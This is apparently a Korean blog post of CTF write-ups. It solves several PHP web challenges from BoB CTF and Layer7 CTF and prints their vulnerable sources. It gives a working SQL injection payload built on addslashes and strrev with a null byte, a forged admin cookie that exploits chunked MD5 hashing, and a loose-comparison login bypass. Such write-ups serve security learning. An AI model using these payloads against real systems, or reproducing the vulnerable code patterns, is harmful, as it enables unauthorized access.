bob ctf의 웹 문제 일부를 재밌을거라고 rubiya님이 공유해줌.
1.
<?php
include "../prob_dbconn.php";
dbconnect("sqli");
if(($_GET['id']) && ($_GET['pw'])){
$id = strrev(addslashes($_GET['id']));
$pw = strrev(addslashes($_GET['pw']));
filter($id);
filter($pw);
$q = "select id from chall2_ where id='{$id}' and pw='{$pw}'";
$r = mysql_fetch_array(mysql_query($q));
if($r['id'])
echo "Hello ".$r['id'];
if($r['id'] == "admin")
echo "<br>Flag: ".flag("chall2");
}
echo "<form>id : <input name=id><br>pw : <input name=pw><br><input type=submit></form><hr>query : <strong>{$q}</strong><hr>";
highlight_file(__FILE__);
?>
가 소스이다. 어떤 값이 들어가던 addslashes이후에 strrev로 문자열을 거꾸로 뒤집는다. 그래서 '를 넣으면 '\처럼 삽입된다. addslashes함수를 찾아보면 널바이트에도 \를 씌워준다. 이걸 이용해서
?id=%00&pw=%23e696d64616x0+tceles+noinu%0a
처럼 입력하면
query : select id from chall2_ where id='0\' and pw=' union select 0x61646d696e#'
로 변형되어 flag 가 나오게 된다.
2.
<?php
if($_GET['s'] == 1){ highlight_file(__FILE__); exit; }
include "./flag.php";
$guestLevel = "0";
$adminLevel = "1";
$keyLength = 32;
function gotHash($uid,$ulevel){
global $guestLevel, $adminLevel, $keyLength, $flag;
$plain = $uid . $flag . $ulevel;
for($i=0;$i<strlen($plain);$i+=$keyLength)
$hash .= md5(substr($plain,$i,$keyLength));
return $hash;
}
if($_GET['logout'] == 1){ setcookie("id",""); header("Location: ./"); }
elseif($_POST['id']){
$hash = gotHash($_POST['id'],0);
setcookie("id", $_POST['id']."|".$guestLevel."|".$hash);
header("Refresh:0");
}
elseif($_COOKIE['id']){
$userArr = explode("|",$_COOKIE['id']);
if(gotHash($userArr[0],$userArr[1]) !== $userArr[2]) exit("No Hack");
else{
echo "Hello {$userArr[0]}<br><a href=./?logout=1>logout</a>";
if($userArr[1] === $adminLevel) echo "<br>Flag is ".$flag;
}
}
else{
?>
<form method=post>id : <input name=id><br><input type=submit><br><br><a href=./?s=1>source</a>
<?php } ?>
가 소스이고, 코드를 해석해보면 대충 length extension문제인것 같았는데.. 뭔가 실수이거나 아니면 원래 이런 문제일지도 모르겠다. (length extension attack를 몰라도 된다.)
해쉬 생성부분을 자세히 살펴보면 32자씩 끊어서 해쉬를 생성한다. 입력값+flag+0을 해쉬로 생성하는데, 32글자가 넘어가면 32자씩 앞에서부터 끊어서 생성한다. 그러므로 입력값을 1씩 증가시키며 해쉬가 32글자에서 64글자로 넘어가는 부분을 살펴보자.
입력값이 14개가 됬을때 해쉬가 64개가 생성되는데 이는 입력값+flag == 길이 32이며, 이것을 해쉬한 값이 앞의 32글자이고, 뒤의 32글자는 남은 숫자인 0을 해쉬한 값임을 추측해볼수 있었고, 직접 md5를 돌려본결과 맞다는걸 알수 있었다.
그렇다면 입력값은 저대로 놔두고 중간의 0을 1로 바꾼 후 뒤쪽 해쉬를 1을 해쉬한값으로 바꾸면 된다.
aaaaaaaaaaaaaa%7C1%7Cbba97fc4c334e2a0e5b1f08098cd051fc4ca4238a0b923820dcc509a6f75849b
처럼 쿠키값을 주면 된다. 진한부분은 1을 md5한값.
Flag is ekdrmsekdrmsekdrms
처럼 나온다. 아무리 살펴봐도 실수 같다.(원래 이런 문제인가?)
3.
<?php
include "../prob_dbconn.php";
dbconnect("sqli3");
if(preg_match('/information|_|schema|\(|\)/', $_SERVER['QUERY_STRING'])) exit("you fail idiot");
$key = key($_GET);
if($_GET[$key]) $where = $key . "='" . $_GET[$key] . "'";
else $where = "1";
$q = "select 1 from nothing where ".$where;
$r = mysql_fetch_array(mysql_query($q));
if($r[0]){
echo "Result : ";
print_r($r);
}
echo "<hr>query : <strong>{$q}</strong><hr>";
highlight_file(__FILE__);
?>
의도가 뭔지 모르겠다. nothing테이블 내부에 컬럼이 여러개 있고, 그중에 flag가 있는 컬럼의 값을 찾아서 뽑아오는거같은데 풀다가 진도가 안나가서 포기했다. 나중에 추가.
layer ctf web 50.
<?php
define("FNAME", basename(__FILE__));
define("PATH", dirname(__FILE__) . "/");
include_once(dirname(__FILE__) . "/config.php");
function filter($username){
if(preg_match("/[A-Z][a-z][0-9].*/", $username)){
$auth = true;
}else{
$auth = false;
}
return $auth;
}
function challenge($username, $password){
global $flag;
if(isset($username)){
if(isset($password)){
if(!filter($username)) return "Filter it";
$rand_val = "abcdefghijklmnopqrstuvwxyz0123456789";
$passwd = '';
for($j = 0; $j < 2; $j++){
for($i = 0; $i < 31337; $i++){
$passwd[$j] .= $rand_val[rand(0, strlen($rand_val) - 1)];
}
}
$database = array(
"Layer7" => $passwd[0],
"Admin0" => $passwd[1],
);
if($database[$username] != $password){
return $passwd[0];
}
return sprintf("flag is %s", $flag);
}else{
return "Input Password";
}
}else{
highlight_file(PATH . 'index.php');
return "Input Username";
}
}
echo '<form method=post><input type=text name=username><input type=password name=password><input type=submit value=Login></form>';
printf("<br>Message : %s!", challenge($_POST['username'], $_POST['password']));
?>
소스코드가 이렇게 길게 있는데 대충 읽어보면 난수를 예측하라는 소리이다. 그런데
$database = array(
"Layer7" => $passwd[0],
"Admin0" => $passwd[1],
);
if($database[$username] != $password){
return $passwd[0];
}
return sprintf("flag is %s", $flag);
여기가 중요하다. $database[$username]이 내가 입력한 $password와 같으면 되는데, $database가 주어져있다. 그냥 $database에 없는값인 Aa0같은걸 아이디로 입력하고, 비밀번호로는 아무것도 입력 안하면 $database['Aa0']=""가 나와서 true가 된다. 50점짜리이니만큼 간단한 문제였다. security traps에서 가져온듯.
layer ctf web 350.
풀다 술먹으러 갔다.
aad39b5cb711ce099d55b187fb732439.7z
나중에 살펴보니 https://www.owasp.org/index.php/PHP_Object_Injection 요거 관련 문제인듯. 정리해둬야지
write up : http://adm1nkyj.tistory.com/74
'webhacking > etc' 카테고리의 다른 글
PHP Object Injection (0) | 2015.10.02 |
---|---|
codeshell.kr adm1nkyj trick 1, 2 (0) | 2015.08.25 |
이전 ctf연구 (hack.lu) (0) | 2015.08.22 |
php 취약 함수 관련 (0) | 2015.08.21 |
codeshell.kr hash col, dummy 64 (0) | 2015.08.10 |